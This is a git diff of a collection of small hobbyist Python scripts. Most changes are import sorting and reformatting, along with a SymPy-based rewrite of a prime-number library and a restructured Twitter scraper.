+@lru_cache(maxsize=None)
+def primeFactorization(number: int) -> list[int]:
"""
+ Return the prime factors of `number` (with multiplicity) using SymPy's factorint.
- # precondition
- assert isinstance(n, int) and (n >= 0), "'number' must been a positive int"
+ For number < 2, returns an empty list.
- index = 0
- ans = 2 # this variable holds the answer
+ Args:
+ number: Non‑negative integer.
- while index < n:
- index += 1
+ Returns:
+ list[int]: Prime factors in ascending order.
- ans += 1 # counts to the next number
+ Raises:
+ ValueError: If number is negative.
- # if ans not prime then
- # runs to the next prime number.
- while not isPrime(ans):
- ans += 1
-
- # precondition
- assert isinstance(ans, int) and isPrime(ans), (
- "'ans' must been a prime number and from type int"
- )
-
- return ans
-
-
-# ---------------------------------------------------
-
-
-def getPrimesBetween(pNumber1, pNumber2):
- """
- input: prime numbers 'pNumber1' and 'pNumber2'
- pNumber1 < pNumber2
- returns a list of all prime numbers between 'pNumber1' (exclusiv)
- and 'pNumber2' (exclusiv)
+ Examples:
+ >>> primeFactorization(12)
+ [2, 2, 3]
+ >>> primeFactorization(1)
+ []
+ >>> primeFactorization(97)
+ [97]
"""
+ if number < 0:
+ raise ValueError("number must be non‑negative")
+ if number < 2:
+ return []
+ factors_dict = factorint(number) # {prime: exponent}
+ factors: list[int] = []
+ for p, exp in sorted(factors_dict.items()):
+ factors.extend([p] * exp)
+ return factors # returns a list – doctest expects list
- # precondition
- assert isPrime(pNumber1) and isPrime(pNumber2) and (pNumber1 < pNumber2), (
- "The arguments must been prime numbers and 'pNumber1' < 'pNumber2'"
- )
-
- number = pNumber1 + 1 # jump to the next number
-
- ans = [] # this list will be returns.
-
- # if number is not prime then
- # fetch the next prime number.
- while not isPrime(number):
- number += 1
- while number < pNumber2:
- ans.append(number)
+def greatestPrimeFactor(number: int) -> int:
+ """Return the largest prime factor of `number`."""
+ if number < 2:
+ raise ValueError("number must be ≥ 2")
+ factors = primeFactorization(number)
+ return max(factors)
- number += 1
- # fetch the next prime number.
- while not isPrime(number):
- number += 1
+def smallestPrimeFactor(number: int) -> int:
+ """Return the smallest prime factor of `number`."""
+ if number < 2:
+ raise ValueError("number must be ≥ 2")
+ factors = primeFactorization(number)
+ return min(factors)
- # precondition
- assert (
- isinstance(ans, list) and ans[0] != pNumber1 and ans[len(ans) - 1] != pNumber2
- ), "'ans' must been a list without the arguments"
- # 'ans' contains not 'pNumber1' and 'pNumber2' !
- return ans
+# ---------- GCD, LCM, Divisors, Perfect (using math.gcd) ----------
-# ----------------------------------------------------
+def gcd(number1: int, number2: int) -> int:
+ """Greatest common divisor (uses math.gcd)."""
+ if number1 < 0 or number2 < 0:
+ raise ValueError("Arguments must be non‑negative")
+ return math.gcd(number1, number2)
-def getDivisors(n):
- """
- input: positive integer 'n' >= 1
- returns all divisors of n (inclusive 1 and 'n')
- """
-
- # precondition
- assert isinstance(n, int) and (n >= 1), "'n' must been int and >= 1"
-
- ans = [] # will be returned.
-
- for divisor in range(1, n + 1):
- if n % divisor == 0:
- ans.append(divisor)
+def kgV(number1: int, number2: int) -> int:
+ """Least common multiple."""
+ if number1 < 1 or number2 < 1:
+ raise ValueError("Arguments must be positive")
+ return abs(number1 * number2) // gcd(number1, number2)
- # precondition
- assert ans[0] == 1 and ans[len(ans) - 1] == n, "Error in function getDivisiors(...)"
- return ans
+def getDivisors(n: int) -> list[int]:
+ """Return all positive divisors of `n` (including 1 and `n`)."""
+ if n < 1:
+ raise ValueError("n must be ≥ 1")
+ return [d for d in range(1, n + 1) if n % d == 0]
-# ----------------------------------------------------
-
-
-def isPerfectNumber(number):
- """
- input: positive integer 'number' > 1
- returns true if 'number' is a perfect number otherwise false.
- """
-
- # precondition
- assert isinstance(number, int) and (number > 1), (
- "'number' must been an int and >= 1"
- )
-
+def isPerfectNumber(number: int) -> bool:
+ """Check if `number` is a perfect number."""
+ if number < 2:
+ raise ValueError("number must be ≥ 2")
divisors = getDivisors(number)
-
- # precondition
- assert (
- isinstance(divisors, list)
- and (divisors[0] == 1)
- and (divisors[len(divisors) - 1] == number)
- ), "Error in help-function getDivisiors(...)"
-
- # summed all divisors up to 'number' (exclusive), hence [:-1]
return sum(divisors[:-1]) == number
-# ------------------------------------------------------------
+# ---------- Fraction simplification ----------
-def simplifyFraction(numerator, denominator):
- """
- input: two integer 'numerator' and 'denominator'
- assumes: 'denominator' != 0
- returns: a tuple with simplify numerator and denominator.
- """
-
- # precondition
- assert (
- isinstance(numerator, int)
- and isinstance(denominator, int)
- and (denominator != 0)
- ), "The arguments must been from type int and 'denominator' != 0"
+def simplifyFraction(numerator: int, denominator: int) -> tuple[int, int]:
+ """Reduce a fraction to simplest form."""
+ if denominator == 0:
+ raise ValueError("denominator cannot be zero")
+ g = gcd(abs(numerator), abs(denominator))
+ return (numerator // g, denominator // g)
- # build the greatest common divisor of numerator and denominator.
- gcdOfFraction = gcd(abs(numerator), abs(denominator))
- # precondition
- assert (
- isinstance(gcdOfFraction, int)
- and (numerator % gcdOfFraction == 0)
- and (denominator % gcdOfFraction == 0)
- ), "Error in function gcd(...,...)"
+# ---------- Factorial and Fibonacci (optimized with math.factorial and caching) ----------
- return (numerator // gcdOfFraction, denominator // gcdOfFraction)
+def factorial(n: int) -> int:
+ """Compute n! using math.factorial (C implementation)."""
+ if n < 0:
+ raise ValueError("n must be ≥ 0")
+ return math.factorial(n)
-# -----------------------------------------------------------------
+@lru_cache(maxsize=None)
+def fib(n: int) -> int:
+ """Return the n‑th Fibonacci number (0‑indexed: fib(0)=1, fib(1)=1)."""
+ if n < 0:
+ raise ValueError("n must be ≥ 0")
+ if n < 2:
+ return 1
+ return fib(n - 1) + fib(n - 2)
-def factorial(n):
- """
- input: positive integer 'n'
- returns the factorial of 'n' (n!)
- """
- # precondition
- assert isinstance(n, int) and (n >= 0), "'n' must been a int and >= 0"
+# ---------- Goldbach's conjecture ----------
- ans = 1 # this will be return.
- for factor in range(1, n + 1):
- ans *= factor
+def goldbach(number: int) -> list[int]:
+ """Find two primes summing to `number` (Goldbach's conjecture)."""
+ if number <= 2 or not isEven(number):
+ raise ValueError("number must be even and > 2")
+ primes = sieveEr(number)
+ prime_set = set(primes)
+ for p in primes:
+ q = number - p
+ if q in prime_set:
+ return [p, q]
+ raise RuntimeError("Goldbach conjecture failed for this number")
- return ans
+# ---------- Pi calculation (unchanged, uses decimal) ----------
-# -------------------------------------------------------------------
+def pi(maxK: int = 70, prec: int = 1008, disp: int = 1007) -> str:
+ """Compute π using the Chudnovsky algorithm (unchanged)."""
+ from decimal import Decimal as Dec
+ from decimal import getcontext as gc
-def fib(n):
- """
- input: positive integer 'n'
- returns the n-th fibonacci term , indexing by 0
- """
-
- # precondition
- assert isinstance(n, int) and (n >= 0), "'n' must been an int and >= 0"
+ gc().prec = prec
+ K, M, L, X, S = 6, 1, 13591409, 1, 13591409
+ for k in range(1, maxK + 1):
+ M = Dec((K**3 - (K << 4)) * M / k**3)
+ L += 545140134
+ X *= -262537412640768000
+ S += Dec(M * L) / X
+ K += 12
+ pi_val = 426880 * Dec(10005).sqrt() / S
+ return str(pi_val)[:disp]
- tmp = 0
- fib1 = 1
- ans = 1 # this will be return
- for i in range(n - 1):
- tmp = ans
- ans += fib1
- fib1 = tmp
+# ---------- Run doctests ----------
+if __name__ == "__main__":
+ import doctest
- return ans
+ doctest.testmod(verbose=True)
diff --git a/primelib/requirement.txt b/primelib/requirement.txt
new file mode 100644
index 00000000000..2425d3a1abc
--- /dev/null
+++ b/primelib/requirement.txt
@@ -0,0 +1 @@
+sympy
\ No newline at end of file
diff --git a/pyproject.toml b/pyproject.toml
new file mode 100644
index 00000000000..fef1590a367
--- /dev/null
+++ b/pyproject.toml
@@ -0,0 +1,7 @@
+[project]
+name = "python"
+version = "0.1.0"
+description = "Add your description here"
+readme = "README.md"
+requires-python = ">=3.14"
+dependencies = []
diff --git a/python Space Invader game.py b/python Space Invader game.py
index 98cdc769ce9..3438f04dc16 100644
--- a/python Space Invader game.py
+++ b/python Space Invader game.py
@@ -1,6 +1,7 @@
-import pygame
-import random
import math
+import random
+
+import pygame
from pygame import mixer
# initialization
diff --git a/qrcode.py b/qrcode.py
index 69e10eed74d..bfdc5372bfd 100644
--- a/qrcode.py
+++ b/qrcode.py
@@ -1,6 +1,7 @@
-import qrcode
import cv2
+import qrcode
+
qr = qrcode.QRCode(version=1, box_size=10, border=5)
data = input()
diff --git a/quote.py b/quote.py
index ed3b1b1317f..f4feab06818 100644
--- a/quote.py
+++ b/quote.py
@@ -5,9 +5,10 @@
example quote -Quote Author Name
"""
-import requests
from json import loads
+import requests
+
def return_quote():
response = requests.get("https://zenquotes.io/api/random")
diff --git a/random_file_move.py b/random_file_move.py
index 38ccdc8649b..270160757c0 100644
--- a/random_file_move.py
+++ b/random_file_move.py
@@ -6,9 +6,9 @@
# Description : This will move specified number of files(given in ratio) from the src directory to dest directory.
+import argparse
import os
import random
-import argparse
def check_ratio(x):
diff --git a/recyclebin.py b/recyclebin.py
index 5bc0bcc0823..666587ba0d6 100644
--- a/recyclebin.py
+++ b/recyclebin.py
@@ -1,10 +1,10 @@
from __future__ import print_function
import os # Load the Module
+from winreg import HKEY_LOCAL_MACHINE, OpenKey, QueryValueEx
from _winreg import * # Load the Module
-
# Script Name : recyclebin.py
# Author : Craig Richards
# Created : 07th June 2013
@@ -14,16 +14,13 @@
# Description : Scans the recyclebin and displays the files in there, originally got this script from the Violent Python book
-from winreg import OpenKey, HKEY_LOCAL_MACHINE, QueryValueEx
-
-
def sid2user(sid): # Start of the function to gather the user
try:
key = OpenKey(
HKEY_LOCAL_MACHINE,
r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" + "\\" + sid,
)
- (value, type) = QueryValueEx(key, "ProfileImagePath")
+ value, type = QueryValueEx(key, "ProfileImagePath")
user = value.split("\\")[-1]
return user
except Exception:
diff --git a/remoteok_jobs_scraper/remoteok_jobs.py b/remoteok_jobs_scraper/remoteok_jobs.py
index 9c624748193..ce188f6d4a6 100644
--- a/remoteok_jobs_scraper/remoteok_jobs.py
+++ b/remoteok_jobs_scraper/remoteok_jobs.py
@@ -1,14 +1,14 @@
import requests
-import xlwt
from xlwt import Workbook
-BASE_URL = 'https://remoteok.com/api'
-USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36'
+BASE_URL = "https://remoteok.com/api"
+USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
REQUEST_HEADER = {
- 'User-Agent': USER_AGENT,
- 'Accept-Language': 'en-US, en;q=0.5',
+ "User-Agent": USER_AGENT,
+ "Accept-Language": "en-US, en;q=0.5",
}
+
def get_job_postings():
"""Fetch job postings from RemoteOK API."""
try:
@@ -20,26 +20,28 @@ def get_job_postings():
print("Error fetching jobs:", e)
return []
-def save_jobs_to_excel(jobs, filename='remoteok_jobs.xls'):
+
+def save_jobs_to_excel(jobs, filename="remoteok_jobs.xls"):
"""Save job postings to an Excel file."""
if not jobs:
print("No job data to save.")
return
-
+
wb = Workbook()
- sheet = wb.add_sheet('Jobs')
+ sheet = wb.add_sheet("Jobs")
headers = list(jobs[0].keys())
for col, header in enumerate(headers):
sheet.write(0, col, header)
-
+
for row, job in enumerate(jobs, start=1):
for col, key in enumerate(headers):
- sheet.write(row, col, str(job.get(key, '')))
+ sheet.write(row, col, str(job.get(key, "")))
wb.save(filename)
print(f"Jobs saved to {filename}")
-if __name__ == '__main__':
+
+if __name__ == "__main__":
jobs = get_job_postings()
save_jobs_to_excel(jobs)
diff --git a/russian_roulette.py b/russian_roulette.py
index 82374186515..736a74751c1 100644
--- a/russian_roulette.py
+++ b/russian_roulette.py
@@ -3,8 +3,8 @@
the computer
"""
-from random import randrange
import time
+from random import randrange
def main():
diff --git a/scrap_file.py b/scrap_file.py
index aab6e2a2e08..07b9183ff4d 100644
--- a/scrap_file.py
+++ b/scrap_file.py
@@ -25,4 +25,3 @@ def download(url, filename):
# Example usage
url = "https://avatars0.githubusercontent.com/u/29729380?s=400&v=4"
download(url, "avatar.jpg")
-
diff --git a/secret_language.py b/secret_language.py
index 33f457656b7..7d090439a3d 100644
--- a/secret_language.py
+++ b/secret_language.py
@@ -13,7 +13,7 @@ def random_chars() -> str:
>>> random_chars()
'ZoX'
"""
- return ''.join(random.choices(string.ascii_letters, k=3))
+ return "".join(random.choices(string.ascii_letters, k=3))
def random_digits() -> str:
@@ -25,7 +25,7 @@ def random_digits() -> str:
>>> random_digits()
'638'
"""
- return ''.join(random.choices(string.digits, k=3))
+ return "".join(random.choices(string.digits, k=3))
def encode(code: str) -> str:
@@ -47,10 +47,14 @@ def encode(code: str) -> str:
"""
if len(code) >= 3:
code = code[1:] + code[0]
- code = random_chars() + random_digits() + code + random_digits() + random_chars()
+ code = (
+ random_chars() + random_digits() + code + random_digits() + random_chars()
+ )
else:
code = code[::-1]
- code = random_chars() + random_digits() + code + random_digits() + random_chars()
+ code = (
+ random_chars() + random_digits() + code + random_digits() + random_chars()
+ )
return code
@@ -83,4 +87,4 @@ def decode(code: str) -> str:
decoded = decode(encoded)
print(f"Original → {code}")
print(f"Encoded → {encoded}")
- print(f"Decoded → {decoded}")
\ No newline at end of file
+ print(f"Decoded → {decoded}")
diff --git a/send_message_automation/message_automation.py b/send_message_automation/message_automation.py
index 5a797ece210..a22a7066d2d 100644
--- a/send_message_automation/message_automation.py
+++ b/send_message_automation/message_automation.py
@@ -1,6 +1,7 @@
-import pyautogui
from time import sleep
+import pyautogui
+
# Do you want to include the message counter?
# make a class of it.
diff --git a/sendemail.py b/sendemail.py
index 070968157be..ed10bcf1485 100644
--- a/sendemail.py
+++ b/sendemail.py
@@ -1,4 +1,5 @@
from __future__ import print_function
+
import base64
import mimetypes
import os
@@ -10,12 +11,14 @@
import httplib2
import oauth2client
-from apiclient import errors, discovery
+from apiclient import discovery, errors
from oauth2client import client, tools
SCOPES = "https://www.googleapis.com/auth/gmail.send"
CLIENT_SECRET_FILE = "client_secret.json"
APPLICATION_NAME = "Gmail API Python Send Email"
+
+
def get_credentials():
home_dir = os.path.expanduser("~")
credential_dir = os.path.join(home_dir, ".credentials")
diff --git a/sensors_information.py b/sensors_information.py
index 257b41e5a4b..a36327d7f85 100644
--- a/sensors_information.py
+++ b/sensors_information.py
@@ -1,9 +1,14 @@
import argparse
-import sys
import socket
+import sys
+
import psutil
+
+
def python_version():
return sys.version_info
+
+
def ip_addresses():
hostname = socket.gethostname()
addresses = socket.getaddrinfo(hostname, None)
diff --git a/serial_scanner.py b/serial_scanner.py
index adf5ba1ee39..40d05b74f56 100644
--- a/serial_scanner.py
+++ b/serial_scanner.py
@@ -2,7 +2,6 @@
import serial
-
# A serial port-scanner for linux and windows platforms
# Author: Julio César Echeverri Marulanda
@@ -40,10 +39,8 @@ def ListAvailablePorts():
AvailablePorts.append("/dev/ttyUSB" + str(i))
ser.close()
else:
- print(
- """This method was developed only for linux and windows
- the current platform isn't recognised"""
- )
+ print("""This method was developed only for linux and windows
+ the current platform isn't recognised""")
if len(AvailablePorts) == 0:
print("NO port in use")
return 0
diff --git a/simulate_memory_cpu.py b/simulate_memory_cpu.py
index 1a8ab142071..f374802aebe 100644
--- a/simulate_memory_cpu.py
+++ b/simulate_memory_cpu.py
@@ -4,8 +4,8 @@
Simulate cpu、 memory usage
"""
-import sys
import re
+import sys
import time
from multiprocessing import Process, cpu_count
diff --git a/slack_message.py b/slack_message.py
index c06416cbe82..259ef9d888a 100644
--- a/slack_message.py
+++ b/slack_message.py
@@ -1,10 +1,11 @@
from __future__ import print_function
-# Created by sarathkaul on 11/11/19
-
import json
import urllib.request
+# Created by sarathkaul on 11/11/19
+
+
# Set the webhook_url to the one provided by Slack when you create the webhook at https://my.slack.com/services/new/incoming-webhook/
webhook_url = (
"https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX"
diff --git a/smart_file_organizer.py b/smart_file_organizer.py
index d9062c9fc93..21b958a91d1 100644
--- a/smart_file_organizer.py
+++ b/smart_file_organizer.py
@@ -18,9 +18,9 @@
Sangam Paudel
"""
+import argparse
import os
import shutil
-import argparse
import time
from datetime import datetime
diff --git a/snake.py b/snake.py
index 3c66cc599d4..57583805fb2 100644
--- a/snake.py
+++ b/snake.py
@@ -6,9 +6,9 @@
try:
import curses
- from time import sleep
- from curses import KEY_RIGHT, KEY_LEFT, KEY_UP, KEY_DOWN
+ from curses import KEY_DOWN, KEY_LEFT, KEY_RIGHT, KEY_UP
from random import randint
+ from time import sleep
print(
"Use the arrow keys to move, press the space bar to pause, and press ESC to quit"
diff --git a/snake_case_renamer_depth_one.py b/snake_case_renamer_depth_one.py
index bfd1d3ad21d..63f232a5a2e 100644
--- a/snake_case_renamer_depth_one.py
+++ b/snake_case_renamer_depth_one.py
@@ -1,5 +1,5 @@
-import os
import argparse
+import os
def generate_unique_name(directory: str, name: str) -> str:
diff --git a/sqlite_check.py b/sqlite_check.py
index 27e35ace641..295274f8539 100644
--- a/sqlite_check.py
+++ b/sqlite_check.py
@@ -1,4 +1,5 @@
from __future__ import print_function
+
import os
import sqlite3 as lite
import sys
diff --git a/stack.py b/stack.py
index d90048ccf62..c6f4ef523d6 100644
--- a/stack.py
+++ b/stack.py
@@ -1,5 +1,6 @@
# Python program to reverse a string using stack
+
# Function to create an empty stack.
# It initializes size of stack as 0
def createStack():
diff --git a/stone_paper_scissor/main.py b/stone_paper_scissor/main.py
index eebfdd424e3..87bf4aa96a5 100644
--- a/stone_paper_scissor/main.py
+++ b/stone_paper_scissor/main.py
@@ -1,8 +1,8 @@
-import utils
-
# import the random module
import random
+import utils
+
print("Starting the Rock Paper Scissors game!")
player_name = input("Please enter your name: ") # Takes Input from the user
diff --git a/text-to-audio/main.py b/text-to-audio/main.py
index 4f18f5153a1..dcffc3237ec 100644
--- a/text-to-audio/main.py
+++ b/text-to-audio/main.py
@@ -1,6 +1,7 @@
-from gtts import gTTS
import os
+from gtts import gTTS
+
# Enter the text in string format which you want to convert to audio
mytext = "Hello World!, this audio is created using GTTS module."
diff --git a/text-to-audio/text-file-to-audio.py b/text-to-audio/text-file-to-audio.py
index 5dd9bdd74fd..fefd380e525 100644
--- a/text-to-audio/text-file-to-audio.py
+++ b/text-to-audio/text-file-to-audio.py
@@ -1,6 +1,7 @@
-from gtts import gTTS
import os
+from gtts import gTTS
+
# Enter the name of your text file
mytextfile = "hello.txt"
diff --git a/text_to_audio/main.py b/text_to_audio/main.py
index fea9aef846c..c76f845654b 100644
--- a/text_to_audio/main.py
+++ b/text_to_audio/main.py
@@ -1,7 +1,8 @@
# A exclusive CLI version can be made using inquirer library.
-from gtts import gTTS
from io import BytesIO
+from gtts import gTTS
+
# only use when needed to avoid memory usage in program
"""_summary_
diff --git a/tf_idf_generator.py b/tf_idf_generator.py
index f31f0137b31..47a24ed5ca5 100644
--- a/tf_idf_generator.py
+++ b/tf_idf_generator.py
@@ -133,17 +133,21 @@ def find_tf_idf(file_names=None, prev_file_path=None, dump_path=None):
TAG,
"Total number of unique words in corpus",
len(idf),
- "( " + paint("++" + str(len(idf) - prev_doc_count), "g") + " )"
- if prev_file_path
- else "",
+ (
+ "( " + paint("++" + str(len(idf) - prev_doc_count), "g") + " )"
+ if prev_file_path
+ else ""
+ ),
)
print(
TAG,
"Total number of docs in corpus:",
len(tf_idf),
- "( " + paint("++" + str(len(tf_idf) - prev_corpus_length), "g") + " )"
- if prev_file_path
- else "",
+ (
+ "( " + paint("++" + str(len(tf_idf) - prev_corpus_length), "g") + " )"
+ if prev_file_path
+ else ""
+ ),
)
# dump if a dir-path is given
diff --git a/thired-party-haarcascade-mustache-on-face/mustache-add-on-face.py b/thired-party-haarcascade-mustache-on-face/mustache-add-on-face.py
index 2c22d6676df..2089dfea2b5 100644
--- a/thired-party-haarcascade-mustache-on-face/mustache-add-on-face.py
+++ b/thired-party-haarcascade-mustache-on-face/mustache-add-on-face.py
@@ -1,5 +1,4 @@
import cv2
-
from utils import image_resize
cap = cv2.VideoCapture(0)
diff --git a/thired-party-haarcascade-mustache-on-face/utils.py b/thired-party-haarcascade-mustache-on-face/utils.py
index 832c2c3ff8e..7dd89cc819b 100644
--- a/thired-party-haarcascade-mustache-on-face/utils.py
+++ b/thired-party-haarcascade-mustache-on-face/utils.py
@@ -8,7 +8,7 @@ def image_resize(image, width=None, height=None, inter=cv2.INTER_AREA):
# initialize the dimensions of the image to be resized and
# grab the image size
dim = None
- (h, w) = image.shape[:2]
+ h, w = image.shape[:2]
# if both the width and height are None, then return the
# original image
if width is None and height is None:
diff --git a/tic-tac-toe.py b/tic-tac-toe.py
index 30bc1c68ed8..cf2758c15ac 100644
--- a/tic-tac-toe.py
+++ b/tic-tac-toe.py
@@ -2,6 +2,7 @@
board = [" " for _ in range(9)]
+
def print_board():
print()
print(f" {board[0]} | {board[1]} | {board[2]} ")
@@ -11,20 +12,28 @@ def print_board():
print(f" {board[6]} | {board[7]} | {board[8]} ")
print()
+
def check_winner(player):
win_conditions = [
- [0,1,2], [3,4,5], [6,7,8], # rows
- [0,3,6], [1,4,7], [2,5,8], # columns
- [0,4,8], [2,4,6] # diagonals
+ [0, 1, 2],
+ [3, 4, 5],
+ [6, 7, 8], # rows
+ [0, 3, 6],
+ [1, 4, 7],
+ [2, 5, 8], # columns
+ [0, 4, 8],
+ [2, 4, 6], # diagonals
]
for condition in win_conditions:
if all(board[i] == player for i in condition):
return True
return False
+
def is_draw():
return " " not in board
+
current_player = "X"
print("Welcome to Tic Tac Toe!")
@@ -44,7 +53,7 @@ def is_draw():
if board[move] != " ":
print("That position is already taken. Try again.")
continue
- except (ValueError, IndexError):
+ except ValueError, IndexError:
print("Invalid input. Enter a number between 1 and 9.")
continue
diff --git a/time_delta.py b/time_delta.py
index dc9d479303d..0f4a712a7ee 100644
--- a/time_delta.py
+++ b/time_delta.py
@@ -4,6 +4,7 @@
This module provides functionality to calculate the absolute difference
in seconds between two timestamps in the format: Day dd Mon yyyy hh:mm:ss +xxxx
"""
+
# -----------------------------------------------------------------------------
# You are givent two timestams in the format: Day dd Mon yyyy hh:mm:ss +xxxx
# where +xxxx represents the timezone.
diff --git a/tweeter.py b/tweeter.py
index 1ae534f448e..441d7a9c267 100644
--- a/tweeter.py
+++ b/tweeter.py
@@ -1,5 +1,7 @@
from __future__ import print_function
+
import os
+
import tweepy
# TODO: Further improvements can be made to the program
diff --git a/twitter_post_scraper.py b/twitter_post_scraper.py
index 5e80e0f2fa3..db6f90ea2c1 100644
--- a/twitter_post_scraper.py
+++ b/twitter_post_scraper.py
@@ -1,39 +1,121 @@
+"""
+Twitter tweet scraper and text cleaner.
+
+This module fetches tweets from a given Twitter handle, extracts their text,
+and removes URLs, special characters, and common noise patterns.
+"""
+
+import re
+from typing import List
+
import requests
from bs4 import BeautifulSoup
-import re
-re_text = r"\:|\.|\!|(https|http)?:\/\/(\w|\.|\/|\?|\=|\&|\%)*\b|(.twitter.com\/)\w*|\&"
-re_text_1 = r"(pictwittercom)\/\w*"
+# Regex for cleaning tweet text:
+# - Removes common punctuation: : . !
+# - Removes URLs (http, https, or protocol-relative) using a more precise pattern
+# - Removes Twitter-specific short links like pic.twitter.com/xxx
+# - Removes '&' characters
+# All dots are escaped to match literal dots only.
+URL_PATTERN = re.compile(
+ r"(?:https?://)?(?:[\w\-]+\.)+[\w\-]+(?:/[\w\-./?%&=]*)?"
+ r"|pic\.twitter\.com/\w+"
+ r"|twitter\.com/\w+"
+ r"|&",
+ flags=re.IGNORECASE,
+)
+
+# Additional noise patterns (non-breaking spaces, zero-width joiners)
+NOISE_PATTERN = re.compile(r"[\xa0\u200c…]")
+
+
+def clean_tweet_text(raw_text: str) -> str:
+ """
+ Remove URLs, extra spaces, and special characters from a tweet.
+
+ Args:
+ raw_text: The raw tweet text as extracted from HTML.
+
+ Returns:
+ Cleaned text with URLs and noise removed.
+ """
+ # Remove URLs and '&' using the compiled pattern
+ cleaned = URL_PATTERN.sub("", raw_text)
+
+ # Remove non-breaking spaces, zero-width joiners, and ellipsis
+ cleaned = NOISE_PATTERN.sub("", cleaned)
+
+ # Collapse multiple spaces and strip
+ cleaned = re.sub(r"\s+", " ", cleaned).strip()
+
+ return cleaned
+
+
+def fetch_tweets(handle: str) -> List[str]:
+ """
+ Fetch tweets from a Twitter profile page and return a list of cleaned texts.
+
+ Args:
+ handle: Twitter handle (without '@').
+
+ Returns:
+ List of cleaned tweet strings.
+
+ Raises:
+ requests.RequestException: If the HTTP request fails.
+ ValueError: If the handle is empty or invalid.
+ """
+ if not handle or not handle.isalnum(): # simple sanity check
+ raise ValueError("Twitter handle must be non-empty and alphanumeric.")
+
+ base_url = "https://twitter.com/{}"
+ url = base_url.format(handle)
+
+ # Send GET request with a user-agent to avoid blocking
+ headers = {
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
+ }
+ try:
+ resp = requests.get(url, headers=headers, timeout=10)
+ resp.raise_for_status()
+ except requests.RequestException as e:
+ raise requests.RequestException(f"Failed to fetch tweets: {e}")
+
+ soup = BeautifulSoup(resp.content, "lxml")
+
+ # Locate tweet containers (the class may change; adjust if needed)
+ tweet_divs = soup.find_all("div", class_="tweet")
+
+ tweets = []
+ for tweet in tweet_divs:
+ content = tweet.find("div", class_="content")
+ if not content:
+ continue
+ text_container = content.find("div", class_="js-tweet-text-container")
+ if not text_container:
+ continue
+ raw = text_container.get_text(separator=" ", strip=True)
+ cleaned = clean_tweet_text(raw)
+ if cleaned: # avoid empty strings
+ tweets.append(cleaned)
-def tweeter_scrapper():
- list_of_dirty_tweets = []
- clear_list_of_tweets = []
- base_tweeter_url = "https://twitter.com/{}"
+ return tweets
- tweeter_id = input()
- response = requests.get(base_tweeter_url.format(tweeter_id))
- soup = BeautifulSoup(response.content, "lxml")
- all_tweets = soup.find_all("div", {"class": "tweet"})
+def main() -> None:
+ """Main entry point: ask for a Twitter handle and print cleaned tweets."""
+ print("Enter Twitter handle (without @):")
+ handle = input().strip()
- for tweet in all_tweets:
- content = tweet.find("div", {"class": "content"})
- message = (
- content.find("div", {"class": "js-tweet-text-container"})
- .text.replace("\n", " ")
- .strip()
- )
- list_of_dirty_tweets.append(message)
- for dirty_tweet in list_of_dirty_tweets:
- dirty_tweet = re.sub(re_text, "", dirty_tweet, flags=re.MULTILINE)
- dirty_tweet = re.sub(re_text_1, "", dirty_tweet, flags=re.MULTILINE)
- dirty_tweet = dirty_tweet.replace("\xa0…", "")
- dirty_tweet = dirty_tweet.replace("\xa0", "")
- dirty_tweet = dirty_tweet.replace("\u200c", "")
- clear_list_of_tweets.append(dirty_tweet)
- print(clear_list_of_tweets)
+ try:
+ cleaned_tweets = fetch_tweets(handle)
+ print("\nCleaned tweets:")
+ for i, tweet in enumerate(cleaned_tweets, 1):
+ print(f"{i}. {tweet}")
+ except Exception as e:
+ print(f"Error: {e}")
if __name__ == "__main__":
- tweeter_scrapper()
+ main()
diff --git a/ultimate-phone-book/contacts.py b/ultimate-phone-book/contacts.py
index c1d70e9bcac..fbd217feb90 100644
--- a/ultimate-phone-book/contacts.py
+++ b/ultimate-phone-book/contacts.py
@@ -6,10 +6,11 @@
print("this code uses GPL V3 LICENSE")
print("")
+import os
+
# start of code
# import library
import pickle
-import os
# get array from pickle data
infile = open("data/pickle-main", "rb")
diff --git a/url_shortner.py b/url_shortner.py
index 05e13d76721..77417e17213 100644
--- a/url_shortner.py
+++ b/url_shortner.py
@@ -1,11 +1,11 @@
# Importing the required libraries.
import pyshorteners
-from colorama import Fore # this module for font color
+from colorama import Fore # this module for font color
# Taking input from the user.
url = input("Enter URL: ")
-# exception handling
+# exception handling
try:
# Creating an instance of the pyshorteners library.
shortener = pyshorteners.Shortener()
@@ -15,7 +15,6 @@
# Displaying the shortened URL.
print(f"Shortened URL: {shortened_URL}")
-except(Exception) as e:
+except Exception:
# this code runes on any error is generated by user
print(Fore.RED, "Enter Valid URL format", Fore.RESET)
-
diff --git a/very_easy/Random.py b/very_easy/Random.py
index 6877653345d..46632477e47 100644
--- a/very_easy/Random.py
+++ b/very_easy/Random.py
@@ -5,22 +5,21 @@
# Make a loop
while True:
-
try:
# Ask for guess
guess = int(input("Guess of a number (1, 10): "))
- if (guess < 1 or guess > 10):
+ if guess < 1 or guess > 10:
print("ERROR")
- continue;
+ continue
- if (guess == number):
+ if guess == number:
print("You did it!")
break
- elif (guess < number):
+ elif guess < number:
print("Higher!")
- elif (guess > number):
+ elif guess > number:
print("Lower!")
# Robust error handling
- except (ValueError):
+ except ValueError:
print("ERROR")
diff --git a/voice.py b/voice.py
index 20d7f358f1c..94e27b6a060 100644
--- a/voice.py
+++ b/voice.py
@@ -1,8 +1,9 @@
-# modules for use of voice
-from gtts import gTTS
-from colorama import Fore
+# modules for use of voice
import os
+from colorama import Fore
+from gtts import gTTS
+
# Define the text you want to convert to speech
text = "Hello! This is a sample text to convert to speech."
@@ -17,4 +18,4 @@
# Play the audio file from system
os.system("start output.mp3")
except Exception as e:
- print(Fore.RED, e, Fore.RESET)
\ No newline at end of file
+ print(Fore.RED, e, Fore.RESET)
diff --git a/vowel remover function.py b/vowel remover function.py
index 1942c30d6ae..9cc185697e7 100644
--- a/vowel remover function.py
+++ b/vowel remover function.py
@@ -5,6 +5,7 @@ def vowel_remover(text):
string += l
return string
+
# this code runes on only this file
-if __name__=="__main__":
+if __name__ == "__main__":
print(vowel_remover("hello world!"))
diff --git a/webcam.py b/webcam.py
index d1aa682caac..38dfcd4dbb5 100644
--- a/webcam.py
+++ b/webcam.py
